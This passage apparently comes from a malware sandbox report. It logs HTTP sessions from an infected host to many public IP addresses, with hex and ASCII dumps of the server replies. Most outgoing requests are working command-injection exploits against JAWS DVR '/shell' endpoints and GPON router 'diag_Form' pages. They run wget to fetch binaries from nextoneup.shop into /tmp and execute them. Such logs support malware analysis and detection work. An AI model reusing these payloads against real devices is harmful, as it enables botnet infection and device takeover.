20 20 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 36 37 45 38 45 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 62 61 73 65 2d 63 6f 6c 6f 72 3a 20 23 30 30 35 42 37 30 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 61 72 72 6f 77 2d 63 6f 6c 6f 72 3a 20 23 46 33 39 36 30 42 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 44 61 72 6b 53 68 61 64 6f 77 2d 43 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 09 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 61 20 7b 20 63 6f 6c 6f 72 3a 23 30 32 31 66 32 35 3b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 0a 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 09 63 6f 6c 6f 72 3a 20 23 46 42 39 38 30 32 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 73 79 73 5f 63 70 61 6e 65 6c 2f 69 6d 61 67 65 73 2f 62 6f 74 74 6f 6d 62 6f 64 79 2e 6a 70 67 29 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 72 65 70 65 61 74 2d 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 3a 35 70 78 20 30 20 31 30 70 78 20 31 35 70 78 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 23 62 6f 64 79 2d 63 6f 6e 74 65 6e 74 20 70 20 7b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 35 70 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 32 35 70 78 3b 0a 20 20 20 20 20 20 20 20 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 35 70 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 Data Ascii: 1195<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html> <head> <title>579404 Not Found</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <style type="text/css"> body { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; background-color:#367E8E; scrollbar-base-color: #005B70; scrollbar-arrow-color: #F3960B; scrollbar-DarkShadow-Color: #000000; color: #FFFFFF;margin:0; } a { color:#021f25; text-decoration:none} h1 { font-size: 18px; color: #FB9802; padding-bottom: 10px; background-image: url(sys_cpanel/images/bottombody.jpg); background-repeat: repeat-x; padding:5px 0 10px 15px;margin:0; } #body-content p { padding-left: 25px; padding-right: 25px; line-height: 18px; padding-top: 5px; paddi
Apr 14, 2024 04:00:49.666413069 CEST	1154	IN	Data Raw: 6e 67 2d 62 6f 74 74 6f 6d 3a 20 35 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 68 32 20 7b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 77 65 69 Data Ascii: ng-bottom: 5px; } h2 { font-size: 14px; font-weight: bold; color: #FF9900; padding-left: 15px; } </style> </head> <body> <div id="body-content"> ... start content--><

Session ID	Source IP	Source Port	Destination IP	Destination Port
1301	192.168.2.13	37834	23.64.28.225	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:49.325489998 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:49.640692949 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:49 GMT Date: Sun, 14 Apr 2024 02:00:49 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 65 34 62 64 64 35 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 34 39 26 23 34 36 3b 31 66 36 36 66 66 65 61 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 34 65 34 62 64 64 35 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 34 39 26 23 34 36 3b 31 66 36 36 66 66 65 61 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.4e4bdd58.1713060049.1f66ffea<P>https://errors.edgesuite.net/9.4e4bdd58.1713060049.1f66ffea</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1302	192.168.2.13	54978	84.197.223.154	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:49.343668938 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:49.680169106 CEST	427	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 14 Apr 2024 02:00:49 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1303	192.168.2.13	53554	185.164.186.63	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:49.344835997 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:49.699639082 CEST	349	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/html; charset=utf-8 Content-Length: 130 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1304	192.168.2.13	55966	195.245.74.9	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:49.352534056 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1305	192.168.2.13	47220	103.69.247.47	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:49.420488119 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:49.829601049 CEST	1109	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 14 Apr 2024 02:00:49 GMT Content-Type: text/html Content-Length: 809 Connection: close ETag: "661b38a6-329" Cache-Control: no-cache, no-store, must-revalidate Expires: 0 Pragma: no-cache Last-Modified: -1 Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 61 2c 20 61 3a 76 69 73 69 74 65 64 2c 20 61 3a 61 63 74 69 76 65 20 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 7d 0d 0a 61 3a 68 6f 76 65 72 20 7b 63 6f 6c 6f 72 3a 23 30 30 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 7d 0d 0a 62 6f 64 79 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 41 39 43 43 41 3b 20 63 6f 6c 6f 72 3a 23 66 66 66 7d 0d 0a 70 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 65 72 64 61 6e 61 2c 61 72 69 61 6c 2c 68 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 0d 0a 3c 74 69 74 6c 65 3e 50 6c 65 61 73 65 20 77 61 69 74 2c 20 74 68 65 20 6c 6f 67 69 6e 20 70 61 67 65 20 69 73 20 6f 70 65 6e 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 70 3e 0d 0a 50 6c 65 61 73 65 20 77 61 69 74 2c 20 74 68 65 20 6c 6f 67 69 6e 20 70 61 67 65 20 69 73 20 6f 70 65 6e 69 6e 67 20 69 6e 20 32 20 73 65 63 6f 6e 64 73 2e 2e 2e 3c 62 72 20 2f 3e 3c 62 72 20 2f 3e 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 31 39 32 2e 31 36 38 2e 32 35 34 2e 35 36 2f 30 2f 75 70 2f 22 3e 49 66 20 69 74 20 64 6f 65 73 20 6e 6f 74 20 6f 70 65 6e 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 2c 20 70 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 2e 3c 2f 61 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 73 65 74 54 69 6d 65 6f 75 74 28 22 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 27 68 74 74 70 3a 2f 2f 31 39 32 2e 31 36 38 2e 32 35 34 2e 35 36 2f 30 2f 75 70 2f 27 3b 22 2c 35 30 30 29 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><style type="text/css">a, a:visited, a:active {color:#fff; font-size:24px;}a:hover {color:#000; font-size:24px;}body {background-color:#5A9CCA; color:#fff}p {font-family:verdana,arial,helvetica,sans; font-size:32px; text-align:center}</style><title>Please wait, the login page is opening...</title></head><body><p>Please wait, the login page is opening in 2 seconds...<br /><br /><a href="http://192.168.254.56/0/up/">If it does not open automatically, please click here.</a><script type="text/javascript">setTimeout("window.location='http://192.168.254.56/0/up/';",500);</script></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1306	192.168.2.13	54272	45.132.241.41	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:49.555558920 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1307	192.168.2.13	36942	37.198.172.234	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.020807981 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1308	192.168.2.13	43516	123.143.38.36	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.020838022 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1309	192.168.2.13	38710	148.128.88.183	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.020873070 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1310	192.168.2.13	39678	118.3.28.200	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.020874977 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1311	192.168.2.13	58824	210.37.179.12	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.020893097 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1312	192.168.2.13	57112	2.249.168.143	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.020914078 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1313	192.168.2.13	37986	148.86.252.191	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.020948887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1314	192.168.2.13	53716	123.40.160.235	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.020988941 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1315	192.168.2.13	36130	178.214.99.173	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.020994902 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1316	192.168.2.13	46486	94.221.30.115	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021051884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1317	192.168.2.13	46290	123.88.2.114	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021059036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1318	192.168.2.13	36296	2.238.12.73	443

Timestamp	Bytes transferred	Direction	Data
